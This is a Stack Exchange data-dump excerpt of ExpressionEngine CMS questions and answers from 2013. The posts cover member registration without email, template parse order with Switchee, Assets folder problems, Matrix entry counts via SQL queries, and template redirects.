  <row Id="9383" PostTypeId="2" ParentId="9381" CreationDate="2013-04-16T10:38:37.987" Score="0" Body="&lt;p&gt;I don't think, EE provides such a feature as email is mandatory field for member registration but it can be achieved by hack into EE's library file .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look within /system/expressionengine/libraries/Validate.php around line number 365 there is a function validate_email().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within this function, you can comment the code which is checking for duplicate and empty email which are within the if conditions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;email == '')&#xA;{&#xA;......&#xA;}&#xA;&#xA;if ( ! valid_email($this-&amp;gt;email))&#xA;{&#xA;.....&#xA;}&#xA;&#xA;if ($type == 'new')&#xA;{&#xA;....&#xA;....&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Its your preference if you would like to use hack because applying this hack duplicate and empty email will not be checked for all member registration process.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-16T10:38:37.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9384" PostTypeId="2" ParentId="9381" CreationDate="2013-04-16T11:32:53.363" Score="1" Body="&lt;p&gt;The simplest thing to do would be to create a fake email address for each member. The easiest way I can think of to do this would be via a small PHP script (might even be possible in Excel) that iterates a counter and inserts &quot;user*n*@fakemail.com&quot; into the relevant &quot;slots&quot; of your data source. Then import that into ExpressionEngine.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-04-17T11:29:54.220" LastActivityDate="2013-04-17T11:29:54.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9385" PostTypeId="2" ParentId="9382" CreationDate="2013-04-16T11:33:52.770" Score="2" Body="&lt;p&gt;Store doesn't deal with member details outside of the checkout. For that you'd need to use the default &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/member/index.html&quot; rel=&quot;nofollow&quot;&gt;Member module&lt;/a&gt; with custom profile fields or take advantage of &lt;a href=&quot;http://devot-ee.com/add-ons/freemember&quot; rel=&quot;nofollow&quot;&gt;Freemember&lt;/a&gt; (also made by Exp:resso so the integration should be good). FreeMember mainly just provides an easier way to deal with member profiles by releasing them from the shackles of default Member Profile Templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going one better a specialist member addon such as &lt;a href=&quot;http://devot-ee.com/add-ons/zoo-visitor&quot; rel=&quot;nofollow&quot;&gt;Zoo Visitor&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/profileedit&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt; can be very useful if you really want to take control of Members and profiles in more detail, bringing those entries into regular Channels. Zoo Visitor may have a little better integration with Store and I've successfully used it in combination with Store to profile a member management in the past.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The good thing is that there is a tight integration between Store and Zoo Visitor so you can register new members in the checkout and have them added to your Members Channel. The other big bonus is that it brings member management into regular EE channels so you can work with regular templates and template tags.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2013-04-16T12:10:20.300" LastActivityDate="2013-04-16T12:10:20.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9386" PostTypeId="2" ParentId="9277" CreationDate="2013-04-16T11:41:22.133" Score="1" Body="&lt;p&gt;I can confirm a similar issue here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our case updating Assets to 2.1 made subfolders disappear. However database was intact. Hence the error when trying to recreate same folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution was to &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a dummy folder&lt;/li&gt;&#xA;&lt;li&gt;Move all disappeared files/folders into the dummy folder&lt;/li&gt;&#xA;&lt;li&gt;Update indexes &amp;amp; delete references&lt;/li&gt;&#xA;&lt;li&gt;Rename dummy folder with the old folder name&lt;/li&gt;&#xA;&lt;li&gt;Update indexes &amp;amp; delete references again&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="147" LastActivityDate="2013-04-16T11:41:22.133" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9387" PostTypeId="2" ParentId="9380" CreationDate="2013-04-16T11:44:12.657" Score="1" Body="&lt;p&gt;That's one of the limitations of native category handling in EE. You can grab it with some PHP but even easier is to use &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat&quot; rel=&quot;nofollow&quot;&gt;Low Seg2Cat&lt;/a&gt; which is to remedy this type of case. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can simple use &lt;code&gt;{segment_n_category_name}&lt;/code&gt; to output the category name from the segment in the URL where it is displayed. So if you have a URL such as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mysite.com/products/category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then output the category heading with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2&amp;gt;{segment_2_category_name}&amp;lt;/h2&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is certainly very useful when working within the limitations of the native EE category handling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Updated to show an alternative method using the Query Module.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT cat_name FROM exp_categories WHERE cat_url_title = '{segment_3}'&quot;}&#xA;    {exp:channel:category_heading}&#xA;&#xA;        &amp;lt;h2&amp;gt;{category_name}&amp;lt;/h2&amp;gt;&#xA;&#xA;    {/exp:channel:category_heading}&#xA;{/exp:query} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Something like that should work if you didn't want to use Seg2Cat specifically. Just be sure to swap out &lt;code&gt;{segment_3}&lt;/code&gt; with whatever segment variable contains your category URL title.&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="422" LastEditDate="2013-04-22T20:17:48.660" LastActivityDate="2013-04-22T20:17:48.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9388" PostTypeId="2" ParentId="9376" CreationDate="2013-04-16T12:55:45.193" Score="1" Body="&lt;p&gt;You can easily resolve parse issues like these with &lt;a href=&quot;https://github.com/croxton/Switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt; or &lt;a href=&quot;https://github.com/croxton/Ifelse&quot; rel=&quot;nofollow&quot;&gt;Ifelse&lt;/a&gt;. These addons will completely remove any non-matching conditions before they are parsed. Here's how you'd fix the code sample from your post:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ifelse parse=&quot;inward&quot;}&#xA;    {if 1 == 1}&#xA;        1 == 1 is true&#xA;        {exp:stash:set name=&quot;test&quot;}hello{/exp:stash:set}&#xA;    {if:else}&#xA;        1 == 1 is false&#xA;        {exp:stash:set name=&quot;test&quot;}goodbye{/exp:stash:set}&#xA;    {/if}&#xA;    {exp:stash:test}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This template will output &lt;code&gt;1 == 1 is true hello&lt;/code&gt; as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; parameter is key - it tells EE to parse the outer tag (the IfElse plugin) before processing the inner ones (the stash:set calls). See the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/plugins.html#changing-parsing-order&quot; rel=&quot;nofollow&quot;&gt;EE docs&lt;/a&gt; for further info.&lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2013-04-16T12:55:45.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9390" PostTypeId="1" CreationDate="2013-04-16T13:45:14.300" Score="1" ViewCount="421" Body="&lt;p&gt;I am having an issue with an embedded template. I embed the template passing a &quot;type&quot; variable. Then, in the embed file it displays the content based on which &quot;type&quot; was specified. This all works, but either the parse order or Assets is causing hundreds of extra assets sql queries and ignores &lt;strong&gt;simple&lt;/strong&gt; &quot;type&quot; conditional. It looks like EE parse order states that embedded variables are parsed early, so I am not sure why I am getting output from within other conditionals? If I comment out my Assets 2 code it cuts out most (if not all) the extraneous requests. (from ~500 to a normal 100ish at the moment).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the embedded template. If I uncomment the cottage_photos fields my display is correct but they ALL get parsed across the board regardless of &quot;type&quot; conditional or Assets 2 limit param. I am new to Stack Exchange, so sorry if the code formatting is incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;UPDATE&lt;/em&gt; As I keep testing, I really think its Assets and not parse order. When I comment out all the custom assets fields (cottage_photos below) all the issues are resolved. So, the question is why are the assets fields ignoring parse order and limit param?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- GRID VIEW -----------------------------------------------------------------}&#xA;{if &quot;{embed:type}&quot; == &quot;grid&quot;}&#xA;&#xA;{exp:channel:entries channel=&quot;cottage-rentals&quot; &#xA;    dynamic=&quot;no&quot; &#xA;    status=&quot;open&quot; &#xA;    paginate=&quot;bottom&quot;  &#xA;    limit=&quot;12&quot; &#xA;    orderby=&quot;title&quot; &#xA;    sort=&quot;asc&quot; &#xA;    disable=&quot;categories|member_data&quot; &#xA;    }&#xA;&#xA;    {sn_pagination}&#xA;&#xA;    {if count == 1}&#xA;        &amp;lt;ul id=&quot;cottage-grid&quot; class=&quot;large-block-grid-4 small-block-grid-1&quot;&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;div class=&quot;cottage&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;{path='/accommodations/cottage-rentals/cottage'}/{entry_id}&quot; class=&quot;leadin&quot; title=&quot;Click here to view {title}&quot;&amp;gt;&#xA;                {!--exp:ce_img:single src=&quot;{cottage_photos limit=&quot;1&quot;}{url}{/cottage_photos}&quot; crop=&quot;yes&quot; width=&quot;225&quot; height=&quot;200&quot; allow_scale_larger=&quot;yes&quot;--}&#xA;                &amp;lt;strong class=&quot;title&quot;&amp;gt;{title}&amp;lt;/strong&amp;gt;&#xA;            &amp;lt;/a&amp;gt;&#xA;            &amp;lt;a href=&quot;#&quot; title=&quot;Check availability (popup)&quot;&amp;gt;&amp;lt;i class=&quot;icon-calendar&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;amp;nbsp;Check Availability&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;            &amp;lt;a href=&quot;{path='/accommodations/cottage-rentals/cottage'}/{entry_id}&quot; title=&quot;View details for rental {title}&quot;&amp;gt;&amp;lt;i class=&quot;icon-zoom-in&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;amp;nbsp;View Details&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;            &amp;lt;i class=&quot;icon-user&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;amp;nbsp;{cottage_capacity}&amp;lt;br&amp;gt;&#xA;            &amp;lt;i class=&quot;icon-home&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;amp;nbsp;{cottage_bedroom_count}&amp;lt;br&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;    {if count == total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;{/if}&#xA;&#xA;{!-- LIST VIEW -----------------------------------------------------------------}&#xA;{if &quot;{embed:type}&quot; == &quot;list&quot;}&#xA;{exp:channel:entries channel=&quot;cottage-rentals&quot; &#xA;    dynamic=&quot;no&quot; &#xA;    status=&quot;open&quot; &#xA;    paginate=&quot;bottom&quot;  &#xA;    limit=&quot;25&quot; &#xA;    orderby=&quot;title&quot; &#xA;    sort=&quot;asc&quot; &#xA;    disable=&quot;categories|member_data&quot; &#xA;    }&#xA;    {sn_pagination}&#xA;&#xA;    {if count == 1}&#xA;        &amp;lt;!-- Sortable table props: see http://www.datatables.net/ --&amp;gt;&#xA;        &amp;lt;table cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; id=&quot;cottage-list-view&quot;&amp;gt;&#xA;            &amp;lt;thead&amp;gt;&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;th&amp;gt;Gallery&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th&amp;gt;Title&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th&amp;gt;Capacity&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th&amp;gt;Bedrooms&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th&amp;gt;Preview&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th&amp;gt;Details&amp;lt;/th&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;/thead&amp;gt;&#xA;            &amp;lt;tbody&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td&amp;gt;&#xA;            {!--cottage_photos limit=&quot;1&quot;}&#xA;                &amp;lt;a href=&quot;{url}&quot; data-rel=&quot;{entry_id}&quot; class=&quot;preview-modal&quot;&amp;gt;{exp:ce_img:single src=&quot;{url}&quot; crop=&quot;yes&quot; width=&quot;70&quot; height=&quot;50&quot; allow_scale_larger=&quot;yes&quot; class=&quot;th&quot;}&amp;lt;/a&amp;gt;&#xA;            {/cottage_photos--}&#xA;        &amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;a href=&quot;{path='accommodations/cottage-rentals/cottage'}/{entry_id}&quot;&amp;gt;&amp;lt;strong&amp;gt;{title}&amp;lt;/strong&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{cottage_capacity}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{cottage_bedroom_count}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;a href=&quot;#&quot; data-rel=&quot;{entry_id}&quot; class=&quot;button preview-modal&quot;&amp;gt;&amp;lt;i class=&quot;icon-info-sign icon-large&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;Preview&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;a href=&quot;{path='accommodations/cottage-rentals/cottage'}/{entry_id}&quot; class=&quot;button&quot;&amp;gt;&amp;lt;i class=&quot;icon-zoom-in icon-large&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;View Details&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;&#xA;    {if count == total_results}&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;{/if}&#xA;&#xA;{/exp:channel:entries}&#xA;{/if}&#xA;&#xA;{!-- COTTAGE DETAIL VIEW ---------------------------------------------------------}&#xA;{if &quot;{embed:type}&quot; == &quot;detail&quot;}&#xA;&#xA;{exp:channel:entries channel=&quot;cottage-rentals&quot; &#xA;    dynamic=&quot;no&quot; &#xA;    status=&quot;open&quot; &#xA;    paginate=&quot;bottom&quot;  &#xA;    limit=&quot;1&quot; &#xA;    orderby=&quot;title&quot; &#xA;    sort=&quot;asc&quot; &#xA;    disable=&quot;categories|member_data|pagination&quot; &#xA;    {if embed:cottage_id}entry_id=&quot;{embed:cottage_id}&quot; {/if}&#xA;    }&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{path='accommodations/cottage-rentals'}&quot;&amp;gt;&amp;lt;i class=&quot;icon-chevron-left icon-small&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;amp;nbsp;more cottage rentals&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;large-4 columns&quot;&amp;gt;&#xA;            {!-- PHOTO GALLERY --}&#xA;            &amp;lt;div id=&quot;cottage-photos&quot;&amp;gt;&#xA;                {!--cottage_photos limit=&quot;21&quot;}&#xA;                    {if count == '1'}&#xA;                        &amp;lt;a href=&quot;{url}&quot; rel=&quot;group1&quot; title=&quot;{desc}&quot;&amp;gt;&amp;lt;img src=&quot;{url}&quot; width=&quot;100%&quot; alt=&quot;{desc}&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;ul class=&quot;small-block-grid-4 large-block-grid-4&quot;&amp;gt;&#xA;                    {/if}&#xA;&#xA;                    {if count &amp;gt; '1'}&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;a href=&quot;{url}&quot; rel=&quot;group1&quot; class=&quot;cottage-thumb&quot; title=&quot;{desc}&quot;&amp;gt;&#xA;                                {exp:ce_img:single src=&quot;{url}&quot; crop=&quot;yes&quot; width=&quot;160&quot; height=&quot;122&quot; allow_scale_larger=&quot;yes&quot;}&#xA;                            &amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        {if count == total_results} &#xA;                            &amp;lt;/ul&amp;gt;&#xA;                        {/if}&#xA;&#xA;                    {/if}&#xA;                {/cottage_photos--}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;large-8 columns&quot;&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;large-7 columns&quot;&amp;gt;&#xA;                    &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;                    {cottage_description}&#xA;                    &amp;lt;h4 class=&quot;orange&quot;&amp;gt;Features&amp;lt;/h4&amp;gt;&#xA;                    {cottage_features}&#xA;                    &amp;lt;h4 class=&quot;orange&quot;&amp;gt;Rooms Description&amp;lt;/h4&amp;gt;&#xA;                    {cottage_rooms_description}&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;large-5 columns&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;cottage-info-box&quot;&amp;gt;&#xA;                        &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Bedrooms:&amp;lt;/strong&amp;gt; {cottage_bedroom_count}&amp;lt;br /&amp;gt;&#xA;                        &amp;lt;strong&amp;gt;Capacity:&amp;lt;/strong&amp;gt; {cottage_capacity}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;h4 class=&quot;orange&quot;&amp;gt;Rental Rates&amp;lt;/h4&amp;gt;&#xA;                    {cottage_rental_rates}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;            {!-- MAP --}&#xA;            {if cottage_display_map == &quot;Yes&quot;}&#xA;                {if cottage_map_geocoded != &quot;&quot;}&#xA;                    &amp;lt;div style=&quot;clear:both; padding-top:10px;&quot;&amp;gt;&#xA;                        &amp;lt;h4&amp;gt;Location&amp;lt;/h4&amp;gt;&#xA;                        {exp:gmap:init id=&quot;map&quot; scrollwheel=&quot;false&quot; style=&quot;width:100%;height:265px&quot; latitude=&quot;{cottage_map_latitude}&quot; longitude=&quot;{cottage_map_longitude}&quot; map_type=&quot;google.maps.MapTypeId.ROADMAP&quot;}&#xA;                        {exp:gmap:marker id=&quot;map&quot; latitude=&quot;{cottage_map_latitude}&quot; longitude=&quot;{cottage_map_longitude}&quot; zoom=&quot;{cottage_map_zoom}&quot; geocode=&quot;false&quot;}{/exp:gmap:marker}&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;            {/if}&#xA;&#xA;            {!-- AVAILABILITY --}&#xA;            {if cottage_rms_id != &quot;&quot;}&#xA;                &amp;lt;div style=&quot;clear:both; padding-top:28px;&quot;&amp;gt;&#xA;                    &amp;lt;h4&amp;gt;Availability&amp;lt;/h4&amp;gt;&#xA;                    &amp;lt;div id=&quot;cottage-availability&quot;&amp;gt;&#xA;                        &amp;lt;iframe scrolling=&quot;no&quot; src=&quot;http://rms5.resortplanet.com/1459/calendar.php?unit={cottage_rms_id}&quot; style=&quot;border-style:hidden; width:100%; height:770px;&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            {/if}&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    {if no_results}&#xA;        &amp;lt;h3&amp;gt;Lakeside Chautauqua Cottage Listings&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;p&amp;gt;Requested Cottage is no longer available or could not be found. Click here to return to &amp;lt;a href='{path=&quot;accommodations/cottage-rentals&quot;}'&amp;gt;cottage rentals&amp;lt;/a&amp;gt;&#xA;    {/if}&#xA;{/exp:channel:entries}&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1341" LastEditorUserId="55" LastEditDate="2013-04-16T14:08:51.757" LastActivityDate="2013-05-16T21:25:22.843" Title="Embedded variables conditional - Assets 2 Issue or parse order?" Tags="|conditionals|parse-order|assets|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9391" PostTypeId="2" ParentId="9390" CreationDate="2013-04-16T14:13:18.870" Score="2" Body="&lt;p&gt;Two things: you're quoting your embed variables in your conditionals, which actually makes them advanced conditionals. So first, instead of this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{embed:type}&quot; == &quot;list&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if embed:type == &quot;list&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But second, and more importantly - just use &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt;. It is great at avoiding these parse order/performance issues.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{embed:type}&quot; parse=&quot;inward&quot;} {!-- &amp;lt; added end quote --}&#xA;    {case value=&quot;grid&quot;}&#xA;        .. do your loop&#xA;    {/case}&#xA;    {case value=&quot;list&quot;}&#xA;        .. do your loop    &#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="1341" LastEditDate="2013-04-16T20:48:23.597" LastActivityDate="2013-04-16T20:48:23.597" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9392" PostTypeId="1" AcceptedAnswerId="9394" CreationDate="2013-04-16T14:21:14.793" Score="1" ViewCount="350" Body="&lt;p&gt;I am looking to show the total number of channel entries which do not have and empty matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I have entries which have a matrix field with customer information. I would like, if possible, to show all the channel entries which have no customer information added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Ben&lt;/p&gt;&#xA;" OwnerUserId="1082" LastActivityDate="2013-09-15T07:18:31.593" Title="Show total channel entries with matrix" Tags="|matrix|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9394" PostTypeId="2" ParentId="9392" CreationDate="2013-04-16T15:08:07.917" Score="3" Body="&lt;p&gt;One way is to use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#search-field-name&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;search:field_name&lt;/strong&gt;&lt;/a&gt; parameter on your Channel Entries tag. You can use it like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search:your_matrix_field=&quot;not IS_EMPTY&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and it will only return entries that actually have content in your Matrix field.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Alternatively, Adrian Macneil just released a nifty plugin called &lt;a href=&quot;https://github.com/expressodev/channel_query&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Channel Query&lt;/strong&gt;&lt;/a&gt; that is perfect for this. It works just like the Channel Entries tag but allows you to specify a custom query to get just the entry_ids you need. So in this case you'd select entries where your Matrix field is not empty. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will loop over all the entries that have Matrix data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel_query sql=&quot;SELECT entry_id FROM exp_channel_data WHERE field_id_22 != '' AND channel_id = '12'&quot;}&#xA;    {title}&amp;lt;br&amp;gt;&#xA;{/exp:channel_query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Substitute the field_id for your Matrix field's id and channel_id for your particular Channel.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If instead you want only the total results&lt;/strong&gt; you can just use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/query/&quot; rel=&quot;nofollow&quot;&gt;Query module&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&#xA;    &quot;SELECT COUNT(exp_channel_data.entry_id) AS total&#xA;    FROM exp_channel_data&#xA;    JOIN exp_channel_titles&#xA;    ON exp_channel_titles.entry_id = exp_channel_data.entry_id&#xA;    WHERE field_id_22 != ''&#xA;    AND status = 'open'&#xA;    AND exp_channel_data.channel_id = '12'&quot;&#xA;}&#xA;    {total}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For either of these queries you can change to showing/counting only entries that &lt;em&gt;do not&lt;/em&gt; have any Matrix data by altering the &lt;code&gt;field_id_X != ''&lt;/code&gt; to &lt;code&gt;field_id_X = ''&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-04-18T14:20:16.327" LastActivityDate="2013-04-18T14:20:16.327" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9395" PostTypeId="1" AcceptedAnswerId="9397" CreationDate="2013-04-16T16:50:23.917" Score="0" ViewCount="88" Body="&lt;p&gt;I've recently updated EE to 2.5.5 and Matrix to 2.5.3, but now one of out in-house addons is broken. The addon is a custom fieldtype designed to be included in a Matrix field, but this now causes the publish page to turn blank. This is the only scenario in which this occurs; Matrix plays nicely with everything else, and our addon doesn't break anything when not included in a Matrix field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tested this with a locally hosted version of EE 2.5.3, and got a PHP error rather than a blank page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Severity: Notice&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message: Undefined property: Content_publish::$tools_model&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: custom_fieldtype/ft.custom_fieldtype.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 271&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Call to a member function get_upload_preferences() on a non-object in C:\Program Files\EasyPHP-12.1\www\EE\system\expressionengine\third_party\custom_fieldtype\ft.custom_fieldtype.php on line 271&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know what's going on here?&lt;/p&gt;&#xA;" OwnerUserId="1273" LastActivityDate="2013-04-16T17:06:10.793" Title="Getting a custom fieldtype working in Matrix" Tags="|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9396" PostTypeId="1" CreationDate="2013-04-16T17:02:12.930" Score="2" ViewCount="66" Body="&lt;p&gt;I am trying to redirect a template to an outside website in EE2, I have tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {redirect='http://other_website.com/whatever/12/'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It puts the url of the host before the url I put there because it's expecting a template. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    http://myhost.com/http://other_website.com/whatever/12/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way to redirect it properly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: In EE1, I have used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:redirect_to location=&quot;http://www.yahoo.com&quot;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it's not working now.&lt;/p&gt;&#xA;" OwnerUserId="1342" LastActivityDate="2013-04-16T19:32:52.510" Title="Redirect to outside server" Tags="|redirects|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
